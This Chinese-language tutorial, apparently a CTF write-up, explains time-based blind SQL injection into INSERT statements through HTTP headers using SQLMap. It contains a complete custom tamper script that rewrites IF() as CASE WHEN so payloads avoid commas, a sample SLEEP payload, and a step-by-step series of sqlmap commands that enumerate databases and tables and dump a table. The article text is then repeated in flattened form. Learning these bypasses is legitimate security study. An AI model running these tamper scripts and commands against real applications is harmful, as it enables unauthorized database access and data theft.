SQLMap Insert注入踩坑记
字数 1347 2025-08-18 11:37:42

SQLMap Insert注入绕过技术详解

一、Insert注入概述

Insert注入是一种特殊的SQL注入类型,发生在应用程序使用用户输入构造INSERT语句时。与常见的SELECT注入不同,Insert注入有其独特的限制和绕过技术。

关键特点:

  • 注入点通常位于INSERT语句的VALUES部分
  • 常见于HTTP头部注入(如X-Forwarded-For)
  • 通常没有直接的回显,需要盲注技术
  • 对逗号(,)的使用有严格限制,会破坏语句结构

二、环境准备与初步检测

1. 基本SQLMap命令

python sqlmap.py -r request_file -v 3 --technique T --level 3 --risk 3 --dbms MySQL

参数说明:

  • -r:从文件加载HTTP请求
  • -v 3:详细输出级别
  • --technique T:指定时间盲注技术
  • --level 3:测试等级(包含HTTP头注入)
  • --risk 3:最高风险级别
  • --dbms MySQL:指定数据库类型

2. 常见问题

初始检测可能返回false positive,原因是:

  • SQLMap默认使用包含逗号的IF函数结构:' OR 6634=IF((58=58),SLEEP(5),6634) AND 'GTiD'='GTiD
  • 在INSERT语句中,逗号会破坏VALUES部分的语法结构

三、关键绕过技术

1. IF函数改写为CASE-WHEN

编写tamper脚本if2casewhen.py

#!/usr/bin/env python
"""
Author: Conan0xff
"""
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances like 'IF(A,B,C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END'
    """
    if payload and payload.find("IF") > -1:
        while payload.find("IF(") > -1:
            index = payload.find("IF(")
            depth = 1
            comma1, comma2, end = None, None, None
            
            for i in xrange(index + len("IF("), len(payload)):
                if depth == 1 and payload[i] == ',' and comma1 is None:
                    comma1 = i
                elif depth == 1 and payload[i] == ',' and comma1 is not None:
                    comma2 = i
                elif depth == 1 and payload[i] == ')':
                    end = i
                    break
                elif payload[i] == '(':
                    depth += 1
                elif payload[i] == ')':
                    depth -= 1
            
            if comma1 and comma2 and end:
                _ = payload[index + len("IF("):comma1]
                __ = payload[comma1+1:comma2]
                ___ = payload[comma2 + 1:end].lstrip()
                newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_, __, ___)
                payload = payload[:index] + newVal + payload[end + 1:]
            else:
                break
    
    return payload

转换示例:

  • 原IF语句:IF(1=1,1,2)
  • 转换后:CASE WHEN (1=1) THEN (1) ELSE (2) END

2. MID函数改写

使用commalessmid.py tamper脚本:

  • 原格式:MID(VERSION(), 1, 1)
  • 转换后:MID(VERSION() FROM 1 FOR 1)

3. IFNULL函数改写

使用ifnull2casewhenisnull.py tamper脚本:

  • 原格式:IFNULL(1, 2)
  • 转换后:CASE WHEN ISNULL(1) THEN (2) ELSE (1) END

4. LIMIT子句改写

使用commalesslimit.py tamper脚本:

  • 原格式:LIMIT 2, 3
  • 转换后:LIMIT 3 OFFSET 2

四、完整注入流程

1. 检测注入点

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen

2. 获取数据库名

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid --dbms MySQL --dbs --nocast

3. 获取表名

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 --tables

4. 获取表数据

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid,commalesslimit -D web15 -T flag --dump

五、技术总结

  1. 关键点:INSERT注入主要限制在于逗号的使用,需要改写所有包含逗号的SQL函数和子句

  2. 必要tamper组合

    • if2casewhen.py:处理IF函数
    • ifnull2casewhenisnull.py:处理IFNULL函数
    • commalessmid.py:处理MID函数
    • commalesslimit.py:处理LIMIT子句
  3. 其他注意事项

    • 使用--nocast参数避免类型转换问题
    • 确保使用--technique T指定时间盲注
    • 适当提高level和risk值以检测头部注入
  4. 扩展应用

    • 该技术可应用于其他需要避免逗号的注入场景
    • 可自行开发更多tamper脚本处理其他含逗号的SQL函数

通过合理组合这些tamper脚本,可以成功绕过INSERT注入的限制,实现完整的注入流程。

SQLMap Insert注入绕过技术详解 一、Insert注入概述 Insert注入是一种特殊的SQL注入类型,发生在应用程序使用用户输入构造INSERT语句时。与常见的SELECT注入不同,Insert注入有其独特的限制和绕过技术。 关键特点: 注入点通常位于INSERT语句的VALUES部分 常见于HTTP头部注入(如X-Forwarded-For) 通常没有直接的回显,需要盲注技术 对逗号(,)的使用有严格限制,会破坏语句结构 二、环境准备与初步检测 1. 基本SQLMap命令 参数说明: -r :从文件加载HTTP请求 -v 3 :详细输出级别 --technique T :指定时间盲注技术 --level 3 :测试等级(包含HTTP头注入) --risk 3 :最高风险级别 --dbms MySQL :指定数据库类型 2. 常见问题 初始检测可能返回false positive,原因是: SQLMap默认使用包含逗号的IF函数结构: ' OR 6634=IF((58=58),SLEEP(5),6634) AND 'GTiD'='GTiD 在INSERT语句中,逗号会破坏VALUES部分的语法结构 三、关键绕过技术 1. IF函数改写为CASE-WHEN 编写tamper脚本 if2casewhen.py : 转换示例: 原IF语句: IF(1=1,1,2) 转换后: CASE WHEN (1=1) THEN (1) ELSE (2) END 2. MID函数改写 使用 commalessmid.py tamper脚本: 原格式: MID(VERSION(), 1, 1) 转换后: MID(VERSION() FROM 1 FOR 1) 3. IFNULL函数改写 使用 ifnull2casewhenisnull.py tamper脚本: 原格式: IFNULL(1, 2) 转换后: CASE WHEN ISNULL(1) THEN (2) ELSE (1) END 4. LIMIT子句改写 使用 commalesslimit.py tamper脚本: 原格式: LIMIT 2, 3 转换后: LIMIT 3 OFFSET 2 四、完整注入流程 1. 检测注入点 2. 获取数据库名 3. 获取表名 4. 获取表数据 五、技术总结 关键点 :INSERT注入主要限制在于逗号的使用,需要改写所有包含逗号的SQL函数和子句 必要tamper组合 : if2casewhen.py :处理IF函数 ifnull2casewhenisnull.py :处理IFNULL函数 commalessmid.py :处理MID函数 commalesslimit.py :处理LIMIT子句 其他注意事项 : 使用 --nocast 参数避免类型转换问题 确保使用 --technique T 指定时间盲注 适当提高level和risk值以检测头部注入 扩展应用 : 该技术可应用于其他需要避免逗号的注入场景 可自行开发更多tamper脚本处理其他含逗号的SQL函数 通过合理组合这些tamper脚本,可以成功绕过INSERT注入的限制,实现完整的注入流程。